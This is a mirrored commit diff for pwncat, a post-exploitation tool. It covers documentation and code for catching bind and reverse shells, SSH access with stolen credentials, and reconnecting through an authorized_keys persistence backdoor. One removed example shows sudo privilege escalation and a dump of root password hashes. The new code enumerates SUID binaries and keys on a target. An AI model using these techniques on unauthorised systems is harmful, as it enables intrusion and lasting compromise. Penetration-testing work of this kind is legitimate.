mirror of
https://github.com/calebstewart/pwncat.git
synced 2024-11-30 20:34:15 +01:00
Merge branch 'master' of https://github.com/calebstewart/pwncat
This commit is contained in:
commit
305316f20a
@ -102,3 +102,35 @@ to connect with. If only one of ``--method`` or ``--user`` is specified, all met
|
|||||||
For example, specifying only ``method`` will cause ``pwncat`` to attempt each user for which that method is installed.
|
For example, specifying only ``method`` will cause ``pwncat`` to attempt each user for which that method is installed.
|
||||||
On the other hand, specifying only ``--user`` will cause ``pwncat`` to attempt connection with every method which
|
On the other hand, specifying only ``--user`` will cause ``pwncat`` to attempt connection with every method which
|
||||||
offers persistence as that user. When both are specified, only the exact matching persistence method will be attempted.
|
offers persistence as that user. When both are specified, only the exact matching persistence method will be attempted.
|
||||||
|
|
||||||
|
Automated Connection w/ Configuration Script
|
||||||
|
--------------------------------------------
|
||||||
|
|
||||||
|
Configuration scripts are expected to be used on an engagement basis. If you have made a connection to victim and have
|
||||||
|
installed persistence methods, you can add your connect command to your configuration script in order to simply
|
||||||
|
connection in the future. For example, if you have made a previous connection to the host ``1.1.1.1`` and would like
|
||||||
|
``pwncat`` to automatically reconnect to that host on startup, you could create a configuration script:
|
||||||
|
|
||||||
|
.. code-block:: bash
|
||||||
|
:caption: pwncatrc - configuration script
|
||||||
|
|
||||||
|
# Ensure pwncat knows about your database
|
||||||
|
set db "sqlite:///engagement.sqlite"
|
||||||
|
|
||||||
|
# Automatically attempt reconnection to your host via authorized_keys
|
||||||
|
# as the root user
|
||||||
|
connect --reconnnect --host 1.1.1.1 -m authorized_keys -u root
|
||||||
|
|
||||||
|
With this script, ``pwncat`` will attempt to connect to the specified host without any other parameters. This simplifies
|
||||||
|
the ``pwncat`` command if you intend to connect/reconnect multiple times.
|
||||||
|
|
||||||
|
.. code-block:: bash
|
||||||
|
:caption: Simplified Reconnection w/ Configuration Script
|
||||||
|
|
||||||
|
$ pwncat -C data/pwncatrc
|
||||||
|
[+] setting terminal prompt
|
||||||
|
[+] running in /usr/bin/bash
|
||||||
|
[+] terminal state synchronized
|
||||||
|
[+] pwncat is ready 🐈
|
||||||
|
|
||||||
|
(remote) root@pwncat-centos-testing:~#
|
||||||
|
@ -33,116 +33,138 @@ press "C-k C-d" and to send "C-k" to the remote terminal, you can press "C-k C-k
|
|||||||
can be connected with any arbitrary script or local command and can be defined in the configuration file
|
can be connected with any arbitrary script or local command and can be defined in the configuration file
|
||||||
or with the ``bind`` command.
|
or with the ``bind`` command.
|
||||||
|
|
||||||
Connecting to a remote host
|
Command Line Interface and Start-up Sequence
|
||||||
---------------------------
|
--------------------------------------------
|
||||||
|
|
||||||
To connect to a remote host, the ``connect`` command is used. This command is capable of connecting
|
The ``pwncat`` module installs a main script of the same name as an entry point to ``pwncat``. The
|
||||||
to a remote host over a raw socket, SSH or view a previously installed persistence mechanism. It
|
command line parameters to this command are the same as that of the ``connect`` command. During startup,
|
||||||
is also able to listen for reverse connections and initiate a session upon connection.
|
``pwncat`` will initialize an unconnected ``pwncat.victim`` object. It will then pass all arguments to
|
||||||
|
the entrypoint on to the ``connect`` command. This command is capable of loading and executing a
|
||||||
|
configuration script as well as connecting via various methods to a remote victim.
|
||||||
|
|
||||||
When running ``pwncat``, all program arguments with the exception of the ``--config/-c`` and the
|
If a connection is not established during this initial connect command (for example, if the victim
|
||||||
``--help`` arguments are interpreted as local commands which will be executed after the configuration
|
cannot be contacted or the ``--help`` parameter was specified), ``pwncat`` will then exit. If a
|
||||||
file is loaded.
|
connection *is* established, ``pwncat`` will enter the main Raw mode loop and provide you with
|
||||||
|
a shell. At the time of writing, the available ``pwncat`` arguments are:
|
||||||
|
|
||||||
Connecting can happen in your configuration file, from the command identified at command execution
|
.. code-block::
|
||||||
or after startup. If no connection is made from the configuration file or from your command line
|
:caption: pwncat argument help
|
||||||
arguments, you will be placed in a local ``pwncat`` command prompt. This is a restricted prompt
|
|
||||||
only allowing local commands to be run. From here, you can start a listener or connect to a remote
|
|
||||||
host with the ``connect`` command.
|
|
||||||
|
|
||||||
Here's an example of connecting to a remote bind shell on the host "test-host" on port 4444 immediately
|
usage: pwncat [-h] [--exit] [--config CONFIG] [--listen] [--connect] [--ssh]
|
||||||
on invocation of ``pwncat``:
|
[--reconnect] [--list] [--host HOST] [--port PORT] [--method METHOD]
|
||||||
|
[--user USER] [--password PASSWORD] [--identity IDENTITY]
|
||||||
|
|
||||||
|
Connect to a remote host via SSH, bind/reverse shells or previous persistence methods
|
||||||
|
installed during past sessions.
|
||||||
|
|
||||||
|
optional arguments:
|
||||||
|
-h, --help show this help message and exit
|
||||||
|
--exit Exit if not connection is made
|
||||||
|
--config CONFIG, -C CONFIG
|
||||||
|
Path to a configuration script to execute prior to connecting
|
||||||
|
--listen, -l Listen for an incoming reverse shell
|
||||||
|
--connect, -c Connect to a remote bind shell
|
||||||
|
--ssh, -s Connect to a remote ssh server
|
||||||
|
--reconnect, -r Reconnect to the given host via a persistence method
|
||||||
|
--list List remote hosts with persistence methods installed
|
||||||
|
--host HOST, -H HOST Address to listen on or remote host to connect to. For
|
||||||
|
reconnections, this can be a host hash
|
||||||
|
--port PORT, -p PORT The port to listen on or connect to
|
||||||
|
--method METHOD, -m METHOD
|
||||||
|
The method to user for reconnection
|
||||||
|
--user USER, -u USER The user to reconnect as; if this is a system method, this
|
||||||
|
parameter is ignored.
|
||||||
|
--password PASSWORD, -P PASSWORD
|
||||||
|
The password for the specified user for SSH connections
|
||||||
|
--identity IDENTITY, -i IDENTITY
|
||||||
|
The private key for authentication for SSH connections
|
||||||
|
|
||||||
|
|
||||||
|
Connection Methods
|
||||||
|
------------------
|
||||||
|
|
||||||
|
``pwncat`` is able to connect to a remote host in a few different ways. At it's core, ``pwncat`` communicates
|
||||||
|
with a remote shell over a raw socket. This can be either a bind shell or a reverse shell from a remote victim
|
||||||
|
host. ``pwncat`` also offerst the ability to connect to a remote victim over SSH with a known password or
|
||||||
|
private key. When connecting via SSH, ``pwncat`` provides the same interface and capabilities as with a
|
||||||
|
raw bind or reverse shell.
|
||||||
|
|
||||||
|
The last connection method relies on a previous ``pwncat`` session with the victim. If you install a persistence
|
||||||
|
method which support remote reconnection, ``pwncat`` can utilize this to initiate a new remote shell with the victim
|
||||||
|
automatically. For example, if you installed authorized keys for a specific user, ``pwncat`` can utilize these to
|
||||||
|
initiate another SSH session using your persistence. This allows you to easily reconnect in the event of a previous
|
||||||
|
session being disconnected.
|
||||||
|
|
||||||
|
Fully documentation on the methods and options for these connection methods can be found in the ``connect``
|
||||||
|
documentation under the Command Index. A few examples of connections can be found below.
|
||||||
|
|
||||||
|
Connecting to a victim bind shell
|
||||||
|
---------------------------------
|
||||||
|
|
||||||
|
In this case, the victim is running a raw bind shell on an open port. The victim must be available at an
|
||||||
|
address which is routable (e.g. not NAT'd). The ``--connect/-c`` mode provides this capability.
|
||||||
|
|
||||||
.. code-block:: bash
|
.. code-block:: bash
|
||||||
|
:caption: Connecting to a bind shell at 1.1.1.1:4444
|
||||||
|
|
||||||
pwncat connect --connect -H test-host -p 4444
|
pwncat --connect -H 1.1.1.1 -p 4444
|
||||||
|
|
||||||
Similarly, listening for a reverse shell connection can be similarly accomplished:
|
Catching a victim reverse shell
|
||||||
|
-------------------------------
|
||||||
|
|
||||||
|
In this case, the victim was exploited in such a way that they open a connection to your attacking host
|
||||||
|
on a specific port with a raw shell open on the other end. Your attacking host must be routable from the
|
||||||
|
victim machine. This mode is accessed via the ``--listen/-l`` option for connect.
|
||||||
|
|
||||||
.. code-block:: bash
|
.. code-block:: bash
|
||||||
|
:caption: Catching a reverse shell
|
||||||
|
|
||||||
pwncat connect --listen -H 0.0.0.0 -p 4444
|
pwncat --listen -p 4444
|
||||||
|
|
||||||
As mentioned above, if no connections are made during initialization, you will be taken to a local
|
Connecting to a Remote SSH Server
|
||||||
``pwncat`` prompt where you can then execute the ``connect`` command manually:
|
---------------------------------
|
||||||
|
|
||||||
|
If you were able to obtain a valid password or private key for a remote user, you can initiate a ``pwncat``
|
||||||
|
session with the remote host over SSH. This mode is accessed via the ``--ssh/-s`` option for connect.
|
||||||
|
|
||||||
.. code-block:: bash
|
.. code-block:: bash
|
||||||
|
:caption: Connection to a remote SSH server w/ Password Auth
|
||||||
|
|
||||||
$ pwncat
|
pwncat -s -H 1.1.1.1 -u root -p "r00t5P@ssw0rd"
|
||||||
[?] no connection established, entering command mode
|
|
||||||
|
|
||||||
[+] local terminal restored
|
|
||||||
(local) pwncat$ connect -c -H test-host -p 4444
|
|
||||||
[+] connection to A.B.C.D:4444 established
|
|
||||||
[+] setting terminal prompt
|
|
||||||
[+] running in /bin/bash
|
|
||||||
[+] terminal state synchronized
|
|
||||||
[+] pwncat is ready 🐈
|
|
||||||
|
|
||||||
(remote) debian@debian-s-1vcpu-1gb-nyc1-01:/home/debian$
|
|
||||||
|
|
||||||
The last method of connecting is via your configuration file. You can place the ``connect`` command
|
|
||||||
there in order to not require any arguments. More powerfully, you can place your **reconnect**
|
|
||||||
command in your configuration file, which will fail the first time you connect to the remote host.
|
|
||||||
After installing persistence, reconnection will utilize your persistence to gain a shell and you
|
|
||||||
will no longer need command line parameters.
|
|
||||||
|
|
||||||
.. code-block:: bash
|
.. code-block:: bash
|
||||||
|
:caption: Connection to a remote SSH server w/ Public Key Auth
|
||||||
|
|
||||||
# your pwncat configuration script
|
pwncat -s -H 1.1.1.1 -u root -i ./root-private-key
|
||||||
set db "sqlite:///pwncat.sqlite"
|
|
||||||
connect --reconnect -H test-host
|
Reconnecting to a victim
|
||||||
|
------------------------
|
||||||
|
|
||||||
|
If you previously had a ``pwncat`` session with a remote host and installed a persistence mechanism, you may
|
||||||
|
be able to leverage ``pwncat`` to automatically reconnect to the victim host utilizing your persistence
|
||||||
|
machanism. For this to work, you must specify a configuration file which provides a database for ``pwncat``
|
||||||
|
to use. With a configuration file specified, you can use the ``--list`` argument to list known hosts and
|
||||||
|
their associated persistence methods.
|
||||||
|
|
||||||
.. code-block:: bash
|
.. code-block:: bash
|
||||||
|
:caption: Listing known host/persistence combinations
|
||||||
|
|
||||||
# Connect to test-host via reverse shell the first time
|
pwncat -C data/pwncatrc --list
|
||||||
$ pwncat -c pwncatrc connect -l -H 0.0.0. -p 4444
|
1.1.1.1 - "centos" - 999c434fe6bd7383f1a6cc10f877644d
|
||||||
[!] d87b9646813d250ac433decdee70112a: connection failed: no working persistence methods found
|
- authorized_keys as root
|
||||||
[+] connection to A.B.C.D:4444 established
|
|
||||||
[+] setting terminal prompt
|
|
||||||
[+] running in /bin/bash
|
|
||||||
[+] terminal state synchronized
|
|
||||||
[+] pwncat is ready 🐈
|
|
||||||
|
|
||||||
(remote) debian@debian-s-1vcpu-1gb-nyc1-01:/root$
|
Each host is identified by a host hash as seen above. You can reconnect to a host by either specifying a host
|
||||||
[+] local terminal restored
|
hash or an IP address. If multiple hosts share the same IP address, the first in the database will be selected
|
||||||
(local) pwncat$ privesc -e
|
if you specify an IP address. Host hashes are unique across hosts.
|
||||||
[+] privilege escalation succeeded using:
|
|
||||||
⮡ shell as root via /bin/bash (sudo NOPASSWD)
|
|
||||||
[+] pwncat is ready 🐈
|
|
||||||
|
|
||||||
(remote) root@debian-s-1vcpu-1gb-nyc1-01:~#
|
.. code-block:: bash
|
||||||
[+] local terminal restored
|
:caption: Reconnecting to a known host
|
||||||
(local) pwncat$ persist -i -m authorized_keys -u root
|
|
||||||
(local) pwncat$ persist --status
|
|
||||||
- authorized_keys as root (local) installed
|
|
||||||
(local) pwncat$
|
|
||||||
[+] pwncat is ready 🐈
|
|
||||||
|
|
||||||
(remote) root@debian-s-1vcpu-1gb-nyc1-01:~#
|
# Reconnect w/ host hash
|
||||||
|
pwncat -C data/pwncatrc --reconnect -H 999c434fe6bd7383f1a6cc10f877644d
|
||||||
|
# Reconnect to first host w/ matching IP
|
||||||
|
pwncat -C data/pwncatrc --reconnect -H 1.1.1.1
|
||||||
|
|
||||||
exit
|
Other options are available to specify methods or users to reconnect with. These options are covered in more detail
|
||||||
(remote) debian@debian-s-1vcpu-1gb-nyc1-01:/root$
|
in the ``connect`` documentation under the Command Index.
|
||||||
(remote) debian@debian-s-1vcpu-1gb-nyc1-01:/root$
|
|
||||||
|
|
||||||
exit
|
|
||||||
|
|
||||||
[+] local terminal restored
|
|
||||||
|
|
||||||
$ pwncat -c data/pwncatrc
|
|
||||||
[+] setting terminal prompt
|
|
||||||
[+] running in /bin/bash
|
|
||||||
[+] terminal state synchronized
|
|
||||||
[+] pwncat is ready 🐈
|
|
||||||
(remote) root@debian-s-1vcpu-1gb-nyc1-01:~#
|
|
||||||
(remote) root@debian-s-1vcpu-1gb-nyc1-01:~#
|
|
||||||
[+] local terminal restored
|
|
||||||
(local) pwncat$ hashdump
|
|
||||||
root:$6$jmqmNYe9$8GJjU.tV5XWfyFMclJXd0f7TOCEuHbvU9ajD8ZeaVd7y7GGXcb7BfNVV6rR/S6AcmI0W.yzHiXId0EZsYgnQx1
|
|
||||||
debian:$6$c5h8DDIk$2bxaEK8C.wCkTwY.z/Z4c48RwdLRL5AE5J6qvPPHCz2vPb2dEeIbwtxkTHHbvTcnh1S/J0e2gPxUiRgT9SiXN/
|
|
||||||
(local) pwncat$
|
|
||||||
|
|
||||||
The first time ``pwncat`` was run, the reconnection command failed. This was expected, since we
|
|
||||||
had not connected to the remote host yet. After we escalated privileges, and installed persistence,
|
|
||||||
we were able to re-run ``pwncat`` with no arguments and get a shell. In this case, ``pwncat``
|
|
||||||
utilized our installed ssh authorized keys backdoor to gain a session as the root user.
|
|
@ -105,6 +105,9 @@ class Command(CommandDefinition):
|
|||||||
removed.append(binary)
|
removed.append(binary)
|
||||||
pwncat.victim.session.delete(binary)
|
pwncat.victim.session.delete(binary)
|
||||||
|
|
||||||
|
# This ensures the pwncat.victim.host.binaries array
|
||||||
|
# is correct and doesn't contain entries which were
|
||||||
|
# deleted prior to an auto-commit.
|
||||||
pwncat.victim.session.commit()
|
pwncat.victim.session.commit()
|
||||||
pwncat.victim.host = (
|
pwncat.victim.host = (
|
||||||
pwncat.victim.session.query(pwncat.db.Host)
|
pwncat.victim.session.query(pwncat.db.Host)
|
||||||
|
@ -24,9 +24,6 @@ class Command(CommandDefinition):
|
|||||||
|
|
||||||
PROG = "connect"
|
PROG = "connect"
|
||||||
ARGS = {
|
ARGS = {
|
||||||
"--exit": parameter(
|
|
||||||
Complete.NONE, action="store_true", help="Exit if not connection is made"
|
|
||||||
),
|
|
||||||
"--config,-C": parameter(
|
"--config,-C": parameter(
|
||||||
Complete.NONE,
|
Complete.NONE,
|
||||||
help="Path to a configuration script to execute prior to connecting",
|
help="Path to a configuration script to execute prior to connecting",
|
||||||
@ -120,11 +117,11 @@ class Command(CommandDefinition):
|
|||||||
self.parser.error(str(exc))
|
self.parser.error(str(exc))
|
||||||
|
|
||||||
if args.action == "none":
|
if args.action == "none":
|
||||||
|
# No action was provided, and no connection was made in the config
|
||||||
if pwncat.victim.client is None:
|
if pwncat.victim.client is None:
|
||||||
self.parser.print_help()
|
self.parser.print_help()
|
||||||
return
|
return
|
||||||
|
|
||||||
try:
|
|
||||||
if args.action == "listen":
|
if args.action == "listen":
|
||||||
if not args.host:
|
if not args.host:
|
||||||
args.host = "0.0.0.0"
|
args.host = "0.0.0.0"
|
||||||
@ -145,9 +142,7 @@ class Command(CommandDefinition):
|
|||||||
pwncat.victim.connect(client)
|
pwncat.victim.connect(client)
|
||||||
elif args.action == "connect":
|
elif args.action == "connect":
|
||||||
if not args.host:
|
if not args.host:
|
||||||
self.parser.error(
|
self.parser.error("host address is required for outbound connections")
|
||||||
"host address is required for outbound connections"
|
|
||||||
)
|
|
||||||
|
|
||||||
util.progress(f"connecting to {args.host}:{args.port}")
|
util.progress(f"connecting to {args.host}:{args.port}")
|
||||||
|
|
||||||
@ -188,12 +183,8 @@ class Command(CommandDefinition):
|
|||||||
# Load the private key for the user
|
# Load the private key for the user
|
||||||
key = paramiko.RSAKey.from_private_key_file(args.identity)
|
key = paramiko.RSAKey.from_private_key_file(args.identity)
|
||||||
except:
|
except:
|
||||||
password = prompt(
|
password = prompt("RSA Private Key Passphrase: ", is_password=True)
|
||||||
"RSA Private Key Passphrase: ", is_password=True
|
key = paramiko.RSAKey.from_private_key_file(args.identity, password)
|
||||||
)
|
|
||||||
key = paramiko.RSAKey.from_private_key_file(
|
|
||||||
args.identity, password
|
|
||||||
)
|
|
||||||
|
|
||||||
# Attempt authentication
|
# Attempt authentication
|
||||||
try:
|
try:
|
||||||
@ -220,9 +211,7 @@ class Command(CommandDefinition):
|
|||||||
pwncat.victim.connect(chan)
|
pwncat.victim.connect(chan)
|
||||||
elif args.action == "reconnect":
|
elif args.action == "reconnect":
|
||||||
if not args.host:
|
if not args.host:
|
||||||
self.parser.error(
|
self.parser.error("host address or hash is required for reconnection")
|
||||||
"host address or hash is required for reconnection"
|
|
||||||
)
|
|
||||||
|
|
||||||
try:
|
try:
|
||||||
addr = ipaddress.ip_address(args.host)
|
addr = ipaddress.ip_address(args.host)
|
||||||
@ -259,6 +248,3 @@ class Command(CommandDefinition):
|
|||||||
)
|
)
|
||||||
else:
|
else:
|
||||||
util.error(f"{args.action}: invalid action")
|
util.error(f"{args.action}: invalid action")
|
||||||
finally:
|
|
||||||
if pwncat.victim.client is None and args.exit:
|
|
||||||
raise SystemExit
|
|
||||||
|
93
pwncat/commands/enumerate.py
Normal file
93
pwncat/commands/enumerate.py
Normal file
@ -0,0 +1,93 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
from colorama import Fore, Style
|
||||||
|
|
||||||
|
import pwncat
|
||||||
|
from pwncat.commands.base import (
|
||||||
|
CommandDefinition,
|
||||||
|
Complete,
|
||||||
|
parameter,
|
||||||
|
StoreConstOnce,
|
||||||
|
StoreForAction,
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
class Command(CommandDefinition):
|
||||||
|
"""
|
||||||
|
Interface with the underlying enumeration module. This provides methods
|
||||||
|
for enumerating, viewing and clearing cached facts about the victim.
|
||||||
|
Types of enumeration data include the following options:
|
||||||
|
|
||||||
|
* all - all known enumeration techniques
|
||||||
|
* common - common useful information
|
||||||
|
* suid - Set UID binaries on the remote host
|
||||||
|
* passwords - Known passwords for remote users
|
||||||
|
* keys - Known private keys found on the remote host
|
||||||
|
|
||||||
|
Other enumeration data may be available which was dynamically registered by
|
||||||
|
other ``pwncat`` modules.
|
||||||
|
|
||||||
|
"""
|
||||||
|
|
||||||
|
PROG = "enum"
|
||||||
|
ARGS = {
|
||||||
|
"--show,-s": parameter(
|
||||||
|
Complete.NONE,
|
||||||
|
action=StoreConstOnce,
|
||||||
|
nargs=0,
|
||||||
|
dest="action",
|
||||||
|
const="show",
|
||||||
|
help="Find and display all facts of the given type",
|
||||||
|
),
|
||||||
|
"--no-enumerate,-n": parameter(
|
||||||
|
Complete.NONE,
|
||||||
|
action="store_true",
|
||||||
|
help="Do not perform actual enumeration; only print already enumerated values",
|
||||||
|
),
|
||||||
|
"--type,-t": parameter(
|
||||||
|
Complete.NONE, help="The type of enumeration data to query"
|
||||||
|
),
|
||||||
|
"--flush,-f": parameter(
|
||||||
|
Complete.NONE,
|
||||||
|
action=StoreConstOnce,
|
||||||
|
nargs=0,
|
||||||
|
dest="action",
|
||||||
|
const="flush",
|
||||||
|
help="Flush the queried enumeration data from the database",
|
||||||
|
),
|
||||||
|
"--provider,-p": parameter(
|
||||||
|
Complete.NONE, help="The enumeration provider to filter by"
|
||||||
|
),
|
||||||
|
}
|
||||||
|
DEFAULTS = {"action": "help"}
|
||||||
|
|
||||||
|
def run(self, args):
|
||||||
|
|
||||||
|
# no arguments prints help
|
||||||
|
if args.action == "help":
|
||||||
|
self.parser.print_help()
|
||||||
|
return
|
||||||
|
|
||||||
|
if not args.type:
|
||||||
|
args.type = "all"
|
||||||
|
|
||||||
|
if args.action == "show":
|
||||||
|
self.show_facts(args.type, args.provider)
|
||||||
|
elif args.action == "flush":
|
||||||
|
self.flush_facts(args.type, args.provider)
|
||||||
|
|
||||||
|
def show_facts(self, typ: str, provider: str):
|
||||||
|
""" Display known facts matching the criteria """
|
||||||
|
|
||||||
|
if typ is not None:
|
||||||
|
print(f"{Fore.YELLOW}{Style.BRIGHT}{typ.upper()} Facts{Style.RESET_ALL}")
|
||||||
|
for fact in pwncat.victim.enumerate:
|
||||||
|
if fact.type != typ:
|
||||||
|
continue
|
||||||
|
if provider is not None and fact.source != provider:
|
||||||
|
continue
|
||||||
|
print(f" {fact.data} from {fact.source}")
|
||||||
|
|
||||||
|
def flush_facts(self, typ: str, provider: str):
|
||||||
|
""" Flush all facts that match criteria """
|
||||||
|
|
||||||
|
pwncat.victim.enumerate.flush(typ, provider)
|
@ -8,3 +8,4 @@ from pwncat.db.persist import Persistence
|
|||||||
from pwncat.db.suid import SUID
|
from pwncat.db.suid import SUID
|
||||||
from pwncat.db.tamper import Tamper
|
from pwncat.db.tamper import Tamper
|
||||||
from pwncat.db.user import User, Group, SecondaryGroupAssociation
|
from pwncat.db.user import User, Group, SecondaryGroupAssociation
|
||||||
|
from pwncat.db.fact import Fact
|
||||||
|
21
pwncat/db/fact.py
Normal file
21
pwncat/db/fact.py
Normal file
@ -0,0 +1,21 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
from sqlalchemy import Column, Integer, ForeignKey, PickleType, UniqueConstraint, String
|
||||||
|
from sqlalchemy.orm import relationship
|
||||||
|
|
||||||
|
from pwncat.db.base import Base
|
||||||
|
|
||||||
|
|
||||||
|
class Fact(Base):
|
||||||
|
""" Store enumerated facts. The pwncat.enumerate.Fact objects are pickled and
|
||||||
|
stored in the "data" column. The enumerator is arbitrary, but allows for
|
||||||
|
organizations based on the source enumerator. """
|
||||||
|
|
||||||
|
__tablename__ = "facts"
|
||||||
|
|
||||||
|
id = Column(Integer, primary_key=True)
|
||||||
|
host_id = Column(Integer, ForeignKey("host.id"))
|
||||||
|
host = relationship("Host", back_populates="facts")
|
||||||
|
type = Column(String)
|
||||||
|
source = Column(String)
|
||||||
|
data = Column(PickleType)
|
||||||
|
__table_args__ = (UniqueConstraint("type", "data", name="_type_data_uc"),)
|
@ -44,3 +44,5 @@ class Host(Base):
|
|||||||
# A list of SUID binaries found across all users (may have overlap, and may not be
|
# A list of SUID binaries found across all users (may have overlap, and may not be
|
||||||
# accessible by the current user).
|
# accessible by the current user).
|
||||||
suid = relationship("SUID")
|
suid = relationship("SUID")
|
||||||
|
# List of enumerated facts about the remote victim
|
||||||
|
facts = relationship("Fact")
|
||||||
|
141
pwncat/enumerate/__init__.py
Normal file
141
pwncat/enumerate/__init__.py
Normal file
@ -0,0 +1,141 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
import pkgutil
|
||||||
|
from typing import Generator, Callable, Any
|
||||||
|
|
||||||
|
import pwncat
|
||||||
|
|
||||||
|
|
||||||
|
class Fact:
|
||||||
|
"""
|
||||||
|
I don't know how to generically represent this yet...
|
||||||
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
class Enumerate:
|
||||||
|
""" Abstract fact enumeration class for the victim. This abstracts
|
||||||
|
the process of enumerating different facts from the remote victim.
|
||||||
|
Facts are identified by their type which is a string. For example,
|
||||||
|
an enumerator may provide the "suid" type which enumerates SUID
|
||||||
|
binaries. There may be multiple enumerators which provide the same
|
||||||
|
type of facts.
|
||||||
|
|
||||||
|
Enumerators are created by creating a module under pwncat/enumerate
|
||||||
|
which must implement the following:
|
||||||
|
|
||||||
|
* `provides` - a string which indicates the type of facts which this
|
||||||
|
enumerator provides
|
||||||
|
* `name` - a string which is a unique name for this enumerator
|
||||||
|
* `enumerate` - a method which returns a generator yielding all known
|
||||||
|
new facts for this enumerator.
|
||||||
|
|
||||||
|
"""
|
||||||
|
|
||||||
|
def __init__(self):
|
||||||
|
|
||||||
|
self.enumerators = {}
|
||||||
|
for loader, module_name, is_pkg in pkgutil.walk_packages(__path__):
|
||||||
|
enumerator = loader.find_module(module_name).load_module(module_name)
|
||||||
|
if enumerator.provides not in self.enumerators:
|
||||||
|
self.enumerators[enumerator.provides] = []
|
||||||
|
self.enumerators[enumerator.provides].append(enumerator)
|
||||||
|
|
||||||
|
def iter(
|
||||||
|
self, typ: str, filter: Callable[[Fact], bool] = None, only_cached=False
|
||||||
|
) -> Generator[pwncat.db.Fact, None, None]:
|
||||||
|
"""
|
||||||
|
Iterate over facts of the given type. The optional filter argument provides a
|
||||||
|
way to filter facts based on a lambda function.
|
||||||
|
|
||||||
|
:param typ: the type of facts to return
|
||||||
|
:param filter: a callable which takes a Fact and returns a boolean indicating
|
||||||
|
whether to yield this fact.
|
||||||
|
:return: Generator[Fact, None, None]
|
||||||
|
"""
|
||||||
|
|
||||||
|
# Yield all known facts
|
||||||
|
for fact in pwncat.victim.host.facts:
|
||||||
|
if fact.data is None:
|
||||||
|
continue
|
||||||
|
if fact.type == typ:
|
||||||
|
if filter is not None and not filter(fact):
|
||||||
|
continue
|
||||||
|
yield fact
|
||||||
|
|
||||||
|
# If we know of enumerators for this type of fact, we check with them for
|
||||||
|
# any new matching facts.
|
||||||
|
if not only_cached and typ in self.enumerators:
|
||||||
|
for enumerator in self.enumerators[typ]:
|
||||||
|
for data in enumerator.enumerate():
|
||||||
|
fact = self.add_fact(typ, data, enumerator.name)
|
||||||
|
if fact.data is None:
|
||||||
|
continue
|
||||||
|
if filter is not None and not filter(fact):
|
||||||
|
continue
|
||||||
|
yield fact
|
||||||
|
|
||||||
|
def __iter__(self):
|
||||||
|
"""
|
||||||
|
Iterate over all facts, regardless of the type.
|
||||||
|
|
||||||
|
:return:
|
||||||
|
"""
|
||||||
|
yield from pwncat.victim.host.facts
|
||||||
|
|
||||||
|
def add_fact(self, typ: str, data: Any, source: str) -> pwncat.db.Fact:
|
||||||
|
"""
|
||||||
|
Register a fact with the fact database. This does not have to come from
|
||||||
|
an enumerator. It likely didn't. This will be registered in the database
|
||||||
|
and returned from `iter` after this.
|
||||||
|
|
||||||
|
:param source: a printable description of what generated this fact
|
||||||
|
:param typ: the type of fact
|
||||||
|
:param data: type-specific data for this fact. this must be pickle-able
|
||||||
|
"""
|
||||||
|
row = pwncat.db.Fact(
|
||||||
|
host_id=pwncat.victim.host.id, type=typ, data=data, source=source,
|
||||||
|
)
|
||||||
|
pwncat.victim.host.facts.append(row)
|
||||||
|
pwncat.victim.session.add(row)
|
||||||
|
pwncat.victim.session.commit()
|
||||||
|
|
||||||
|
return row
|
||||||
|
|
||||||
|
def flush(self, typ: str = None, provider: str = None):
|
||||||
|
"""
|
||||||
|
Flush all facts provided by the given provider.
|
||||||
|
|
||||||
|
:param provider:
|
||||||
|
:return:
|
||||||
|
"""
|
||||||
|
|
||||||
|
# Delete all matching facts
|
||||||
|
for fact in pwncat.victim.host.facts:
|
||||||
|
if typ is not None and fact.type != typ:
|
||||||
|
continue
|
||||||
|
if provider is not None and fact.source != provider:
|
||||||
|
continue
|
||||||
|
pwncat.victim.session.delete(fact)
|
||||||
|
|
||||||
|
# Reload the host object
|
||||||
|
pwncat.victim.session.commit()
|
||||||
|
pwncat.victim.host = (
|
||||||
|
pwncat.victim.session.query(pwncat.db.Host)
|
||||||
|
.filter_by(id=pwncat.victim.host.id)
|
||||||
|
.first()
|
||||||
|
)
|
||||||
|
|
||||||
|
def exist(self, typ: str, provider: str = None) -> bool:
|
||||||
|
"""
|
||||||
|
Test whether any facts with the given type exist in the database.
|
||||||
|
|
||||||
|
:param typ: the type of facts to look for
|
||||||
|
:return: boolean, whether any facts exist for this type
|
||||||
|
"""
|
||||||
|
|
||||||
|
for row in pwncat.victim.host.facts:
|
||||||
|
if row.type == typ:
|
||||||
|
if provider is not None and provider != row.source:
|
||||||
|
continue
|
||||||
|
return True
|
||||||
|
|
||||||
|
return False
|
91
pwncat/enumerate/suid.py
Normal file
91
pwncat/enumerate/suid.py
Normal file
@ -0,0 +1,91 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
import dataclasses
|
||||||
|
import os
|
||||||
|
from typing import Generator
|
||||||
|
|
||||||
|
from colorama import Fore
|
||||||
|
|
||||||
|
import pwncat
|
||||||
|
from pwncat import util
|
||||||
|
|
||||||
|
name = "pwncat.enumerate.suid"
|
||||||
|
provides = "suid"
|
||||||
|
|
||||||
|
|
||||||
|
@dataclasses.dataclass
|
||||||
|
class Binary:
|
||||||
|
"""
|
||||||
|
A generic description of a SUID binary
|
||||||
|
"""
|
||||||
|
|
||||||
|
path: str
|
||||||
|
""" The path to the binary """
|
||||||
|
uid: int
|
||||||
|
""" The owner of the binary """
|
||||||
|
|
||||||
|
def __str__(self):
|
||||||
|
return f"{Fore.YELLOW}{self.path}{Fore.RESET} owned by {Fore.GREEN}{self.owner.name}{Fore.RESET}"
|
||||||
|
|
||||||
|
@property
|
||||||
|
def description(self) -> str:
|
||||||
|
return str(self)
|
||||||
|
|
||||||
|
@property
|
||||||
|
def owner(self):
|
||||||
|
return pwncat.victim.find_user_by_id(self.uid)
|
||||||
|
|
||||||
|
|
||||||
|
def enumerate() -> Generator[Binary, None, None]:
|
||||||
|
"""
|
||||||
|
Enumerate all new Set UID binaries. These are turned into facts by pwncat.victim.enumerate
|
||||||
|
which can be generically retrieved with pwncat.victim.enumerate.iter("suid"). This also
|
||||||
|
inserts a dummy-fact named "suid-searched-{uid}" to indicate we have already searched for
|
||||||
|
SUID binaries as a given user.
|
||||||
|
|
||||||
|
:return: Generator[Binary, None, None]
|
||||||
|
"""
|
||||||
|
|
||||||
|
current_user = pwncat.victim.current_user
|
||||||
|
|
||||||
|
# We've already enumerated this user
|
||||||
|
if pwncat.victim.enumerate.exist(
|
||||||
|
